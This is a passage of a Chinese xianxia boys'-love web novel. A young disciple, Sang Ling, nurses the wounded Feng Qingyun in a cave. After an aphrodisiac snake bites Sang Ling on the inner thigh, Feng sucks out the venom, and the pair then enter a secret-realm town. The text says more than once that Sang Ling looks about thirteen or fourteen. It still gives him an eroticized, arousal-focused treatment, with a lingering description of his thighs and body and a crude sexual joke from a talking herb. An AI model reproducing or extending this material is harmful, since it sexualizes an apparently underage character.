确定没有蛇虫鼠蚁的痕迹,桑灵才去附近捡柴火,一旁石缝间长着几株蒲公英与紫花地丁,都是清热解毒、化瘀镇静的草药,他也一起用衣摆兜回了山洞。 燧石打出星火,点燃枯草。 桑灵下意识抹了把脸蛋,这才发现手黑乎乎的,不用照镜子都知晓,现在他必然满脸尘土,像从灶台底下拿出来的脏脏包。 他先将风清云那脏兮兮的外袍扒拉下来,又将自己的外袍脱下,捡了只小碗,使用怀中清洁符。 柔光掠过山洞,灰尘、蛛网、衣服上的物资都被清理干净。 山洞顿时焕然一新,空气都清新了不少。 看着那张化作灰烬的符箓,桑灵有些心疼,这可是中品符纸,用一张少一张,但眼下也顾不了那么多了。 桑灵将二人外袍叠好放在蒲团上,将草药放入陶碗中,添上水,架在火堆上煮。 直到药汤煮完,晾到温热后,才端到风清云旁边。 风清云长相英俊冷淡,眼皮薄,总是习惯性半垂着俯视人,有一种居高临下的审视感。这让他看起来格外不好相与,此刻闭眼昏睡,倒是透出几分十七岁该有的少年气。 桑灵瞧着也没那么害怕了。 灵犀草:【大郎,起来喝药了。】 桑灵用勺子舀起一勺汤药,小心翼翼送到风清云唇边,但风清云牙关紧咬,药汤从唇角流出,打湿衣领。 他忙活半天,药没喂几滴进去,反倒把自己弄得满头大汗。 【哦豁,这是等你嘴对嘴喂呢。】 手一抖,险些将碗摔了。桑灵羞愤道:“你怎么老说奇奇怪怪的话?” 【哪里奇怪了?话本里不都这么说的吗?英雄落难,美人以口哺药,多经典的桥段!】 没有理会仙草的胡言乱语,桑灵深吸一口气,捏住风清云下颌、抬起,另一手将碗沿抵在薄唇边,一点点往里面灌。 好不容易喂了几口,昏睡不醒的风清云突然闷哼一声,猛地抬手推开他的手! “呜——” 碗沿磕在桑灵的下唇,疼得眼尾冒泪,伸手一摸,指尖沾了点血,嘴巴居然被磕破了。 淡色唇肉被撞得发肿,下唇多了一道口子,红艳艳的。 桑灵又气又疼,红着眼圈怒视风清云,恨不得把人重新拖到外头。 看到风清云身上的伤、仍在渗血的手,他还是将火气压下。 好在碗里还有药汤,他寻了根干净树枝,一点点蘸药滴进风清云唇缝,总算能喂进去了。 喂完药,桑灵准备包扎伤口,脑海骤然闪过话本剧情。 主角救治风清云时,似无意间拿走他身上的某件传家宝,那是风家祖传的定情信物,据说只有命定之人才能触碰。 桑灵连忙细细审视,生怕碰到不该碰的东西。 外袍上的腰带、玉佩等贵重物品都好端端的。瞧那玉佩品阶不低,应当便是所谓的传家宝。 幸好他都没碰过。 目光扫遍周身,最终定格在风清云束发红发带。 质地柔软、看起来单调朴素,像寻常集市中随处可买的发带。 也没更好的干净布料包扎,便用它吧。 桑灵将发带缠在风清云受伤的掌心。 做完这一切,才回到那块铺了干草的石头上,捞来蒲团,靠着石块坐下休息。 怕风清云的衣服弄脏,桑灵便顺手抱在身上,外袍由上等锦缎织成,摸上去柔软而温暖,正好可以充当被子。 桑灵仍离风清云远远的,回忆原著关键剧情。 接下来,风清云会被蛇咬了一口,咬在指根。届时主角挺身而出,俯身含住他的手指吸走毒血。 生死之际被救,苏醒后发现给道侣的信物被取走,对方还不顾生死吸毒血……矜傲如风清云,也免不了少年心动。 谁料这蛇正处在发-情期,毒血有激发情-欲之效。原本只有风清云一人遭殃,主角吸毒血后,风清云是没事了,主角又中招。 无人知晓的偏僻山洞,二人天雷勾地火,意乱情迷…… 他们已在山洞,但是主角人呢? 桑灵往宽大锦袍中蜷了蜷,只露出一双不安的眼睛。 蛇怕火,他身边有火堆还算安全,但主角不在,原剧情无法顺利进行,那条淫蛇应该也不会出现吧? 耳畔只有火焰噼啪微声,再无其他动静。 桑灵慢吞吞打了个哈欠,火光映在他困倦的脸上,下唇伤口已结痂,被照得红艳艳的。 他实在撑不住,整个人缩成小小一团,靠在石头上睡着了。 没多久,风清云醒了。 映入眼帘的是嶙峋洞顶,身上血污都被整理过。掌心传来一阵剧痛,垂眸瞬间,他看见一枚熟悉的发带缠绕在掌心。 风清云猛地坐了起来。 风家为修真世家,家风传统而严谨,族中子弟年满十四岁,父母会将灌注祖宗心血灵力的信物授予他们。 身体发肤受之父母,头发非亲近之人不能随意触碰,而那根发带,是只有命定之人、未来道侣才能取下的定情信物! 牵扯到身上伤口,风清云疼得脸色扭曲直抽冷气,但他顾不得这些,急切寻找取走信物之人。 火堆旁,一道身形蜷缩在蒲团上。身形纤细单薄,一截雪白莹润的手臂映着跳动火光,勾勒出隽秀轮廓。手指修长骨骼匀称,乌发披散在身后,宛若月下仙子。 风清云紧张道:“姑娘,你……” 话音刚落,那身影被声音惊动,小幅度挪动了一下,换了个姿势继续打瞌睡。 洞内火光微弱,却足够让风清云看清全貌。那是一个少年,额心一抹红,正靠在一个石块上,脑袋一点一点。 桑灵! 他的未来道侣,命定之人,竟是男子! 风清云大脑倏地空白,僵硬偏转过头,没过两秒,又将视线重新落了回去。 看起来只有十三四岁的少年,身子骨纤细单薄,但也正因年岁尚小,稚气犹存,让他有一种脱俗之美。 面部轮廓柔美而清雅,本该是有些清寂的长相,却因额间一抹红,催出几分秾艳色彩。 许是怕衣服弄脏,桑灵就这样靠在那儿,打瞌睡也不忘乖乖抱着风清云的衣服。 “仙长?”桑灵困得直打呵欠,慢吞吞揉了揉颊肉,“你醒了吗?” 风清云迅速收敛所有情绪,淡淡“嗯”了声。 一张唇说话,唇瓣传来细微刺痛。风清云目光垂落,先看到地面的药碗,视线一转,又落在桑灵的唇上。 饱满唇肉红肿得不太正常,下唇还有一个被咬出来的浅痂。 风清云脑海中闪过一些模糊片段。 方才昏昏沉沉,似有什么温热软物贴上他的唇,他被温柔地抚起面庞,温热液体顺着唇缝喂进来…… 再看桑灵红肿带伤的下唇,还有自己唇上的刺痛,他哪还有什么不明白的? 灵犀草纳闷:【这哥们怎么突然红温了?】 桑灵迷迷瞪瞪睁开眼睛,坐在对面的风清云呼吸急促、面庞赤红,裸-露在外的皮肤更是熟得厉害。 莫不是被冷风吹太久,伤口处理不当,发烧了? 【我看是发骚了吧。】 “……” 桑灵悄悄观察风清云的状态,见他看来,风清云连忙移开目光,神色虽与平日一样冷淡,但耳根依然通红,怎么都退不下去。 “我将你外袍脱下后,便用清洁符清洗了血污。”桑灵解释道,“我没有碰你的玉佩,也没碰你的腰带。洞内别无他物,我只好用了你的发带包扎伤口。” 他强调,他没有碰风清云的玉佩,更没碰那所谓只有命定之人、未来道侣能碰的传家宝。 心绪纷乱如麻,风清云闭上眼深吸一口气。 桑灵于他有救命之恩,又取下了他的祖传发带,还以唇渡药、夺走了他的初吻……虽情况紧急事出有因,更是阴差阳错,但无论如何,他都应当以身相许,倾心相报。 但桑灵是男子,和他一样的男子。 可是桑灵好漂亮…… 但是男子与男子之间,终究不符阴阳调和之道。况且他也从未想过与男子共度余生。 可是他们接吻了,已有肌肤之亲。 那是风清云的初吻。 偏偏这时嘴唇再次传来刺痛,桑灵居然也咬了他。他忍不住去看桑灵的唇,柔软下唇肉被咬伤一小块,结成一个暗红的痂。 他当时……这么粗鲁吗? 桑灵还那么小,他竟将桑灵咬成那样……风清云脸色忽白忽红,心中天人交战数个回合,面上故作镇定:“无妨。” 随后,又云淡风轻说,“横竖不是重要的东西。” 桑灵松了口气,又涌上点小窃喜,看来他没猜错,玉佩果然是传家宝,他挑的发带没错! 至此,那条蛇还是没有出现。 毕竟被那条蛇咬伤后,关键剧情是后续的意乱情迷,现在主角缺位,该剧情自然没有发生。 桑灵彻底放下心来,他见风清云静静躺倒在地,盯着山洞岩壁发呆走神,他也重新窝回蒲团,准备继续睡觉。 他全然忘记将锦袍物归原主,反而抱得更紧了些,像一颗躲在贝壳里的珍珠,只露出半张白皙清丽的小脸。 洞外冷风灌入,将火焰吹得大了些。桑灵被烤得暖融融,慢吞吞将脸埋入臂弯。 就在即将入眠之际,身下蒲团突然传来一阵轻微响动。 脚踝传来冰冷触感,似被什么碰了碰。 “嗯?” 桑灵困惑低下头,一条通体漆黑的小蛇不知何时出现在足边,正昂首吐信直直盯着他。 他脑袋瞬间空白,毛骨悚然地往后退了退。 黑蛇受到惊吓,像闪电般爬进他的裤管,贴着脚踝往上攀爬,冰冷黏腻触感爬过小腿,抵达膝窝……竟还在向更深处游去! 腿根蓦地传来一阵刺痛。 “呜——!” “怎么了?!” 风清云闻声回神,大步疾冲而至。 刚蹲下-身,他便见桑灵将抱着的锦袍垫在腰后,又眼睁睁看着桑灵靠在自己的外袍上,双腿曲起,细白手指哆嗦着揪住裤管,一点点往上掀,直至卷到腿根。 莹白润泽小腿在昏黄烛火下闪烁光泽。 腿根处两点血洞,触目惊心。 而那根漆黑小蛇,半截身子露在外面,另外半截则被里裤遮挡,贴着发颤泛粉的细嫩肤肉,挨着腿心更深处,一动不动。 毫不迟疑,风清云捏住七寸,猛地将这根蛇揪出。 看着清瘦单薄的少年,腿根却堆满盈盈软肉。带着薄茧的指尖不小心滑过细嫩肤肉,惹得腿肉微微震颤。 见风清云靠近,桑灵下意识后退,却被他一把扣住脚踝,朝他的方向拖了过去。 指尖如被燎过发烫,风清云眉目紧锁,脑中翻遍典籍,却怎么都辨认不出蛇的品种。但见桑灵逐渐泛起不自然潮红的面颊,他确定道:“这蛇有毒。” 废话! 还不是普通的毒,是淫-毒! 桑灵被抓着小腿根本不敢乱动,只能胡乱点着脑袋,酥酥麻麻触感在腿根蔓延,眼眶湿红变润,水色在里面委屈打转,却始终没有落下来。 他眼睛湿漉漉,乌发凌乱披散在肩头与颈侧,衬得小脸愈发清丽楚楚。 话本中被咬的不是风清云吗?! 这蛇莫非没长眼,认错了人?为何被咬的人是他! 他们主角的意乱情迷,干他一个小炮灰什么事儿?! 6.毒血 “我有解毒丹药,在储物袋……” 声音戛然而止。 桑灵半抱膝弯,不解抬眼,只见那总是矜傲冷淡的风清云,目光落在他被咬的蛇洞上,像被烫到般飞快挪开,又落了回来。 如此反复数次,风清云表情变幻不定,耳廓脖颈迅速漫开一片薄红。 正当风清云冷静下来,探腰间储物袋时,动作蓦地僵住。 “……储物袋没了。” 此次后山之行本是一时兴起,风清云并未特意准备丹药法宝,不过他平日习惯随身携带各种必备丹药,解毒丸便是其中一种。 然而经历坠崖一事,身上衣袍被碎石划勾,储物袋也在那时不知掉落在何处,再无踪影。 储物袋不见,解毒丸自然也没有了。风清云无法辨认那蛇毒性如何,此地禁制禁灵,他又无法以灵力逼毒,面容凝重思考对策时,却发现洞内安静得诡异。 他这一抬眼,整个人都僵住了。 火堆噼啪燃烧,暖融融映在桑灵脸上,更将他眼尾水光、淌过颊肉的泪痕照得清清楚楚。 不知何时,桑灵已默默蜷缩在蒲团之上,双手抱住膝弯流泪。他哭起来竟悄无声息,清眸泪光点点,盈满了整张面庞。 风清云顿感无措,想帮桑灵擦眼泪,可当泪水涟涟落在手背,烫得他像被火燎了般,猛地躲开了。 “别哭了。” 焦急之下,他硬邦邦从牙缝里挤出几个安慰字眼,不带情绪的语气,落在桑灵耳中便成了指责。 桑灵哭得更加厉害,他将脸埋进臂弯,单薄肩头一颤一颤,乌发顺着锁骨披散下来,遮住大半张脸。 果然,和主角有关的剧情,从来没炮灰的好事。原本被咬的是风清云,现在主角不在,他代为受过。凭什么?哪有这样的道理! 风清云有主角相救,他什么都没有! 小炮灰的命不是命吗? 风清云手足无措,灵犀草在脑海中急得团团转:【我的小宝宝小天使!】 仙草哄了半天,仍不见桑灵止住泪水,【让小灵流泪,我的罪。o(╥﹏╥)o】 风清云彻底慌了神。 他哪见过这阵仗?他素来冷情寡言,不会哄人,可见桑灵哭成泪人,胸腔跟着发闷难受,浑身不自在,却不知该如何是好。 风清云在幽暗山洞内局促转了两圈,“我去寻些草药,附近一定有。” “是不是很疼?” 风清云这辈子都没用这种小心翼翼语气说过话,桑灵还是不愿理他,更不愿张口,泪水却簌簌打湿这张小脸,鼻尖眼尾都是红的。 “你告诉我好不好?” 风清云半跪在地,撑在桑灵腿边的蒲团,俯身去看他。目光触及下唇那道被咬出来的浅浅痂痕,面庞倏地一阵发烫,心虚小声试探道,“是我做错了什么吗?” 桑灵胡乱抹了把眼泪:“你不会懂的。” 他哭自然不是因为疼痛。除去刚入门那段时间,他每天深夜趴在枕头上哭,他已经很久没哭过了。 外门这五年,令他极擅长忍耐。他修为低微,人人都能使唤他,但他要的不多,只是想要一个安稳生活。 可在这个话本里,他的存在没有任何意义。 风清云让他说,但说了有用吗?风清云生下来什么都有,顺风顺水,怎么可能懂得他的艰辛? “你不用管我。” “反正我要死了!” 【宝贝,你这毒不会死,最多就是被-操一顿……】 桑灵听不进去,他向来小心谨慎,若是寻常,他万万不敢肆意宣泄情绪。 可今夜他实在委屈,压抑多年的情绪活了过来,与蛇毒药效一起在体内横冲直撞,他不管不顾伸出手,赌气地推了逐渐靠近的风清云一把。 他这点力气非但没能推动,反而把自己推得后仰,脑袋险些磕到后方石壁。 桑灵哭得更加伤心。 风清云全然没了办法。 他好声好气说话,桑灵却哭得更加厉害,眼瞧着被蛇咬过的皮肤周围泛起红潮,情况危急,电光石火间,他突然握住桑灵的脚踝,说:“我有办法把毒素弄出来。” 桑灵抬起一双泪蒙蒙的眼。 见桑灵没有继续抽泣,风清云才终于松了口气,他呼吸微微急促,哪怕强撑镇定,语调仍透出几分紧张慌乱。 “我帮你把毒血吸出来。” “现在毒素尚未完全扩散,吸出来还来得及。” 仙草冷笑一声,怒然大勃:【六百六十六!你这小子演都不演了是吧!】 泪水点点挂在腮边,桑灵怔怔抬眼,来不及思索这是何意,风清云已抓住他的小腿低下头去! 桑灵慌忙去推,却被风清云捉住手腕按在头顶,随后天旋地转,整个人被推倒在干草堆,如瀑墨发铺在蒲团。 他就这样仰着湿漉漉的脸,惊慌失措地望着风清云。 “你……别乱动。” 风清云全然没了往日的从容矜傲,侧过头,目光掠过岩壁,看向噼啪燃烧的火堆,转到空了的药碗,看了一圈,就是不敢直视桑灵的眼睛。 他喉结微微滚动,低声说,“我帮你吸出来,不会有事的。” 桑灵满脸泪痕,被这突如其来的发展搞懵了,呆呆地看着风清云朝他逼近。风清云握着他的小腿,神色凝重如临大敌,俯身低头,却突然定格在原地。 太白了。 橘黄火光映照下,腿肉莹润雪白,嵌着被蛇咬出来的血淋淋的洞。 被圈在掌心的小腿更是纤细,触感温热细腻,轻轻一拢便能完全握住。 鬼使神差地,风清云突然抬头,恰好对上那双含泪的眼睛。 一抹热血直冲头顶,烧得他整个人都红透了。 灵犀草幽幽道:【我都不敢想象你在他脑子里有多惨。】 哪怕情绪爆发,桑灵从未想过真正让风清云做点什么,眼瞧风清云的薄唇即将挨上他的小腿,他赶忙阻止,“等等!” 淡淡香气蒙在风清云的唇上,他被捂住下半张脸,抬起头,桑灵正一脸纠结迟疑,随后手指勾着腰带、解开,这条腰带落在他的眼周。 腰带布料粗糙,手指却细腻柔软,挨着他的太阳穴,在他后脑打了个松散的结,遮住他的视线。 “这是你的腰带?” 桑灵小小声“嗯”着,随后听风清云说,“难怪。” “都是你身上的味道。” 面庞轰然炸开烧出热度,桑灵羞愤欲绝,风清云仍端着一张沉静冷峻的俊容。风清云越是冷静,他愈发感到怪异。 事情怎么会发展成这样? “我看不见,找不到位置。”风清云又问,“你要自己抱着吗?” “……” 半晌得不到回应,风清云正要再度开口,桑灵已自己抱好,另一只手手心挨上他的后脑,轻轻往下按。 薄唇准确无误挨着被蛇咬过的肤肉,肤若凝脂,淡淡的玉兰香变得浓郁起来,萦绕在唇齿之间。他下意识张唇含住,轻轻吸吮,果断将毒血吐在一旁。 随后再被按着后脑往下——这次位置有所偏移,他听见桑灵发出一道短促惊叫。好在桑灵及时捂住自己,他高挺鼻梁只撞上了桑灵的手背。 “……是这里。” 桑灵小心翼翼捧着风清云的脑袋,一点一点调整到正确位置。 “嗯。” 风清云喉结滚动,平静应了声。耳廓赤红一片,脖颈都染上了异色。 他再次低头,轻轻含住那块温热肌肤。 怎么是香的…… 桑灵仰躺在干草堆上,自己抱住膝弯,湿润润眼珠望向凹凸不平的岩壁,整个人像 被架在火上烤,体温高得不正常。 明知风清云眼睛被遮挡,瞧不见桑灵的表情,他面颊还是忍不住滚烫。 平日里,他除了干活便是学习,很少与同龄人接触,遑论如此亲密的接触。 不知是不是蛇血作祟,桑灵整个人意识昏沉,身体燥热发软,另一个人的呼吸落在肌肤上时,温热、湿润,燎起一片酥麻痒意,在小腹汇聚成一股诡异的燥热。 他忽然产生小解的冲动,想要将膝盖并拢磨一磨缓解。 【其实他看得见。】 “……嗯??” 【此地虽禁灵禁空,但风清云自小耳清目明,你那条破腰带根本遮不住什么,只能增添情趣。??????】 “……” 【他面壁思过的时候,一直在偷偷看你的脸。】 羞耻心到达顶峰,桑灵眼睫扑扇,小口小口喘着气,视线朦胧间敛眸,他看到被蒙住眼的风清云,神色专注为他吸毒血,薄唇叼磨嫩肉,唇齿间染上一抹暗红。那是他的血。 桑灵蓦然想到灵田那夜,他懵懵然从花海中惊醒,却被风清云居高临下地挑起下巴,那画面他至今心有余悸。 而现在,这位天骄近乎趴在他腿间,蒙着双眼,匍匐的姿态,二人视角已全然颠倒。 “可以了——” 吐出的血慢慢变红,不似先前那般深,没了毒血的麻痹作用,任何触碰都格外清晰。 桑灵忙推开风清云的脸,风清云却很快追逐他的掌心重新贴了回来,将刚合拢的膝盖重新用力掰开按在蒲团上。 冷峻声线被闷得含糊不清,透出几分湿意。 “再等等。” 桑灵羞耻又无助地咬住手指,还没结束吗? 柴火噼啪作响,欲燃愈烈。 风清云吐出最后一口毒血,扯下缠在眼周的腰带。 视野骤然清明,他看见桑灵仰躺在干草堆间,墨发散了一地,泪痕未干的小脸潮红湿润,没了腰带束缚,浆洗得发白的外门弟子服松松垮垮罩在身上,里衣贴身勾勒出清瘦单薄的身形。 唇瓣微肿,呼出来的气息又热又急,在空中凝成一团柔柔的白雾。 风清云本想说点什么,可看到桑灵此刻模样,一个字都说不出来了。 调整完几个呼吸,桑灵状态好转,身体虽仍热乎乎,但没有怪异的渴求感。 应该……安全了吧? 那风清云呢?话本中说,吸毒血者或多或少会误食毒血。 风清云会不会也中招了? 桑灵可不想帮主角走剧情,谨慎往后躲了躲,不料小腿还被握着,又牵扯到腿心伤口,轻轻抽了口气。 风清云:“以口吸血终究无法根治。待出了秘境,我让我表兄帮忙将你体内残余毒血逼出。” 风清云表兄?那不是雪碧尘吗? 想到日后他的结局,桑灵将衣裳拢好挡住大腿,冷声道:“无需你操心。” 风清云被凶得一愣。 他抹了把晶亮水润的薄唇,看着桑灵端坐在他的外袍间,将外袍提起来罩在桑灵身上,顺势坐下。 蒲团不大,他的到来险些将桑灵挤出去。 桑灵怕风清云兽性大发,小心翼翼偷瞄观察:“你还好吗?” 风清云声线微哑:“我很好。” 任谁都能听出风清云在强撑镇定。 桑灵不回话了。 狭小山洞中,二人挤在同一个蒲团上。 他们的影子投在岩壁上,影影绰绰。风清云故作冷淡望向岩壁,桑灵则揪着蒲团边缘的干草,表情呆呆的。 幽暗洞内火光摇晃,照得他们面庞暖融融。 须臾,桑灵悄悄抬起眼睫,却不料风清云同时侧首,四目相对又立刻躲开,像湖面两艘小舟骤然相撞后快速分离,独留一圈又一圈涟漪。 7.神庙 滋啦—— 桑灵在梦中嗅到烤鱼的香气,翻了个身,悠悠转醒时,眼前映入一道如松挺拔的背影。 墨发以一根红色发带高束,风清云背对着桑灵,手中树枝穿着两条巴掌大的鱼,火舌卷着鱼身发出焦香滋滋声。 察觉身后细微动静,风清云缓慢侧身看了过去。 桑灵蓦地惊醒,下意识后退,脊背贴上冰凉石壁,浑身的毛都炸了起来。 他这才恍然察觉身上裹着风清云的外袍,雪白锦缎绣着精美的碧涛浪花纹。想到昨夜他就躺在风清云的外袍上,被攥着小腿吸毒血,慌忙松开手,小声喊道:“仙长,我醒了。” 风清云将手中的烤鱼翻了个面:“我捉了鱼,吃吗?” 桑灵犹豫片刻,点头:“吃。” 昨日奔波惊险,他腹中早已空空,他没有辟谷,必须进食填饱肚子。 风清云递来一条烤好的鱼,鱼身通体金黄边缘微焦,干净树叶托在下方。 桑灵忙双手接过,道谢后,才小口小口进食。 桑灵吃相斯文缓慢,慢吞吞咬着鱼肉,吃到刺,秀气眉毛便会轻轻蹙起,悄悄抬眼瞄着风清云。 见风清云也在看他,他立刻垂下眼帘,假装无事发生的样子。 好难吃的鱼。 风清云烤鱼竟真是单纯烤鱼,鱼肉只有本身味道,带着淡淡焦腥。 桑灵又咬下一口鱼肉,倏地想起一件事,话本中不是说,吸毒无法避免吞咽吞咽少量毒素,为何风清云看起来并无异样,丝毫没有中毒迹象? 仙草给出回答:【他修为扎实,哪怕此地禁灵,他身体底子摆在那里,那点微量毒性也许早就被分解了,也可能——】 桑灵追问:“可能?” 【也可能是吃太少,毒性还没上来?】 前者听起来更加合理,桑灵也希望是前者,若是后者,那就难搞了。 灵犀草:【那就搞搞搞搞搞!??】 【来都来了,你不准备和他去找神庙?本草以为,待到了秘境瞧见法宝,你可以出其不意攻其不备,把法宝占为己有,从此逆袭翻盘!】 桑灵看了眼自己的细胳膊细腿,再偷瞄身形挺拔迫人的风清云,默默低头吃鱼。 他还没想不开到要和风清云硬碰硬。 直到桑灵咽下最后一口鱼肉,风清云才起身拾起搁在蒲团上的外袍。 雪白锦面层层叠叠,全是桑灵睡出来的褶皱,深浅不一,宛若一池被吹乱的春水。 桑灵自然也是瞧见了,心头微微发紧,生怕风清云找他算账要他赔偿。 一转眼,风清云面不改色穿上身,系好腰带,并无不悦的表现。 桑灵悄悄松了口气。 “我方才探查过周边地形,寻到一条下山小道。” 昨夜桑灵简单探查过周遭,但夜色深重,没有太多收获。天未亮,风清云便已苏醒,本该晨起练剑的他,本命灵剑不见踪影。 山洞岩壁崎岖不平,他望着蜷在他外袍间酣睡的少年,瓷白颊肉浮起淡淡粉红,侧枕手背,睡得毫无防备。 手指不自觉摸上自己的下唇,心绪仍是纷乱难平。 风清云不敢再待下去,便在附近踱步探查。 桑灵仍在山洞小睡,他不敢走远。好在他有意外收获,拨开齐膝高野草,挪走堆垒碎石,觅得一条隐秘的小径。 那是通往下山的路。 “神庙秘境入口应当就在前方,此行凶险,你可愿与我同行?” 风清云是宗门寄予厚望的天才,又是话本天骄之一,即便灵力被封,他的五感、能力皆远超常人。 跟着他,是绝境里唯一的生路,说不定还能跟着捡漏。 桑灵毫不迟疑点头。 二人默契地没有提起昨夜之事。 昏睡不醒的风清云看起来并无攻击性,但现在他清醒了,桑灵又想到被剑挑起下巴时,居高临下的压迫感。 桑灵不敢离他太近,更不敢离他太远。 桑灵慢吞吞跟在风清云后头,但他体力薄弱,走得呼吸带喘。不知是不是他的错觉,风清云似乎也累了,脚下步伐越来越慢,从起初的前方引路,慢慢落在他身侧,几乎与他并肩平行。 他怕自己拖后腿,铆足劲加快脚步,风清云却没有跟上,微微落后他几步,大约隔着二三尺安全距离,不紧不慢地走着。 灵犀草:【你们现在就这样。??????】 草木丛生,入目皆是荒郊野岭。桑灵心神紧绷,全然没有察觉二人距离越来越近,不知不觉再度并肩而行。 顺着小径往下走,脚下土路逐渐变得夯实,遥遥前路尽头竟真出现一座古城轮廓! 行至城门外,桑灵用手背抹了把面颊,他热得鼻尖冒汗,额间那抹红被汗意浸得愈发明艳,衬得眉目潋滟,腮肉白里透红。 仰头望去,斑驳老旧的城门上方悬挂一块褪色牌匾——九洲城。 城门口无人看守,厚重大门积满陈年灰尘,门环锈迹斑斑。 吱呀一声,城门打开。 街道上空空荡荡笼罩在灰雾间,宛若一座鬼城,全无半点人声。 风清云:“跟紧我。” 桑灵乖乖应声点头。 他不过一只小虾米,跟紧风清云才能化险为夷,若非情况不允许,他恨不得挂在风清云身上,避免二人在迷雾间走散。 但他不敢太逾越,犹豫了一下,悄悄用两根手指揪住风清云的袖口的一截布料,只捏了一点点。 风清云手指微顿,沉默着没有说话。 二人穿行街巷,走了近半个时辰,依然不见尽头,又像在原地打转。 这时,迷障深处忽然出现一道模糊人影! 突生变故,风清云面色大变,反手去抓桑灵的胳膊,想将人拽到身边,谁料对方动作更快,直生生撞上了桑灵! 脚步踉跄向前,桑灵不由向前扑去,失重落进风清云的怀里。风清云一手圈住他的胳膊,另一手揽着他的腰,正微微垂眸盯着他的脸。 桑灵被瞧得心中发慌,他还是害怕风清云。 可一抬头,瞳孔蓦然放大。 眼前这座死气沉沉的古镇,竟突然活了过来! 迷障散去,两侧林立五颜六色的布棚,摊贩的吆喝声、行人说笑声交织。大街小巷人来人往,一派鲜活的市井盛景。 “走路不长眼睛啊!” 穿粗布短褐的汉子哎哟一声痛呼,正要怒骂,抬头看到那张清绝脱俗的面庞,瞬间怔在原地。 汉子咽了口唾沫,忽然打了个寒噤。 抬眼望去,抱着少年的那人,面容年轻凌厉,正冷冷俯视他他。他心中发怵,讪讪揉了揉肩膀,低头快步溜走了。 “跟紧我。”风清云再次重复,松开桑灵的腰。 街巷不宽,只余中间一条窄窄的道,路上行人摩肩接踵。 桑灵被挤得东倒西歪,好几次差点被人流卷走。 只抓着袖子终究不稳,桑灵大着胆子抬起手腕,轻轻挽住风清云的小臂。 臂弯传来温热柔软的触感,伴随淡淡的玉兰花香。 风清云脚步微顿,低头望去,桑灵就这样乖乖跟在他身边,挽着他的手臂,小幅度仰着脸,眼睛在人群中四下张望。 感受到他的注视,桑灵小声解释:“这样不容易走散。” “嗯。”风清云语气淡淡的。 看风清云这态度,桑灵有些摸不准,应当是默许的意思? 【兄弟你手好白好小好软,兄弟你好香,兄弟香草泥,兄弟……兄弟……】 “……”桑灵忍无可忍,“你不要老说我听不懂的话。” 桑灵很担心仙草的精神状态。 从前灵犀草总怂恿他抢机缘杀杀杀,后来发现不太实际,言语朝奇怪的方向发展。 风清云环顾四周热闹街巷:“看来我们已踏入秘境范围。” “难道方才那条山道,便是秘境入口?”桑灵四下张望,“但是,神庙呢?” “只能慢慢打听了。” 打听消息,酒楼茶肆无疑是最佳去处。 但二人身无分文,别说喝酒喝茶,连落脚的客栈都住不起。 “在下今日在此摆摊献丑,只为博诸位一笑!各位有钱的捧个钱场,没钱的捧个人场!” 一道洪亮吆喝传来,桑灵踮起脚尖往人群里看了眼。 原来是射箭杂耍摊,场中央竖着几个箭靶,靶心画着朱红圆圈。一个穿短打的壮汉手举长弓射箭,引得路人纷纷驻足观看。 “在场各位兄台,可有人敢上台与我比一比?但凡赢了在下,奉上铜钱百文!” 桑灵悄悄看了眼风清云。 风清云:“……” 桑灵看了眼壮汉手中鼓鼓囊囊的荷包,他的手还挽在风清云手臂上,忍不住轻轻晃了晃。 身为仙二代,怎可能忍受被一群人围在中间,像看杂耍般指点? 桑灵没抱多少期望,可他突然被牵着手腕,挤进围观人群。 “等我。” 风清云丢下这二字,便径直上台,接过摊主手中长弓,阳光落在他高束的墨发间,映着他微微眯起的丹凤眼里,面无表情搭箭、拉弓,动作极具观赏性。 箭矢破空而出,十箭连发,箭箭命中靶心! 四周登时爆发阵阵欢呼喝彩:“好箭法!”“再来一个!再来一个!” 桑灵也看得目瞪口呆。 那壮汉痛快大笑,从钱囊取出铜钱:“在下甘拜下风!可有人敢上来挑战这位公子?赢了的,照样铜钱百文!” “这位兄台箭法虽好,但要我看,还有精进的空间……”立刻有人自信上台迎战。 接连数轮比试,风清云毫无疑问获胜,赢了近十两银子。 往日从不放在眼里的银两,如今却耗费半个时辰,且被看猴般层层围观、指点议论,他面色实在算不上好看。 下了场后,风清云见桑灵一脸走神,圆圆的眼眸睁得极大。问:“怎么了?” 桑灵下意识道:“你好厉害。” 方才那点不快烟消云散, 风清云手指微动,偏开视线淡淡说:“还好。” 【又暗爽了死装哥。】灵犀草幽幽道,【还有你,你怎么随便说这种勾引人的话!】 桑灵认真道:“我没有勾引他,我真的觉得他很厉害。” 正回答着,风清云突然将赢来的银两尽数放在他手中。 桑灵迷茫翘起睫毛,眼神小心翼翼——给我吗? 风清云说:“你来保管。” 桑灵明白了,风清云这种仙二代哪会管钱? 【他还真是视金钱如粪土。】灵犀草感慨道:【话本中他就是个妥妥的老婆控,把所有法宝资源上交,读者还调侃他给他取外号老婆奴。】 桑灵低头认真数银子,小心翼翼装进小荷包,闻言满是不以为意。 风清云是老婆奴还是老婆控,跟他有什么关系? 有了银子,二人直奔城内规模最大的客栈。 门童穿着灰布短褂,见人便堆满笑,哈着腰迎上前来:“二位客官,打尖还是住店?” “要你们这最好的上房。” “天字号上房一间,马上给您安排!” 一间? 桑灵下意识看向风清云,风清云并未改口。 也是,一间上房能省银子,再者这鬼城处处古怪,同屋而居最为稳妥。 推开房门,雕花床围挂着白色纱帐,锦被蓬松柔软,靠窗位置摆着张八仙桌,侧立雅致山水屏风,屏后是一方美人榻。 桑灵从未住过这般精致华贵的房间。 他忍不住摸了摸那床被子,小心翼翼坐下,蓬松被褥包裹他的身形,舒服得仿佛要陷进去。他又试着躺了下来,瓷白小脸挨着素色被褥,额心那抹红若隐若现。 风清云立在屏风边,看着桑灵在床上打滚。记忆中的他好像总是安静、小心翼翼,风清云从未见过他这么开心。 翻滚片刻,桑灵骤然回神,趴在床上看向风清云。 银两是风清云辛苦挣来的,这床理应让风清云睡,他睡旁边的美人榻。 “为何起来?” 桑灵撑着身体要从床上起来:“仙长睡床,我……” 两根手指按在肩头,微一用力,桑灵的身体便顺着这股力道,轻飘飘躺回柔软被褥中,如瀑乌发从肩头滑落,他睁着眼睛,茫然看向俯身挑开纱帐的风清云。 风清云方才不过轻轻一推,桑灵便倒在床上。 他不由困惑——桑灵究竟多大?有十三岁吗? 稍作休整,二人下楼用餐。 桑灵像方才一般挽着风清云的手臂,一齐走下楼。 他年岁虽小,眉目却清丽动人,在人群中格外惹眼。一楼宾客满座,邻桌几个游手好闲的汉子目光黏在他身上,色眯眯上下打量,侧身交头接耳,末了相视猥琐一笑。 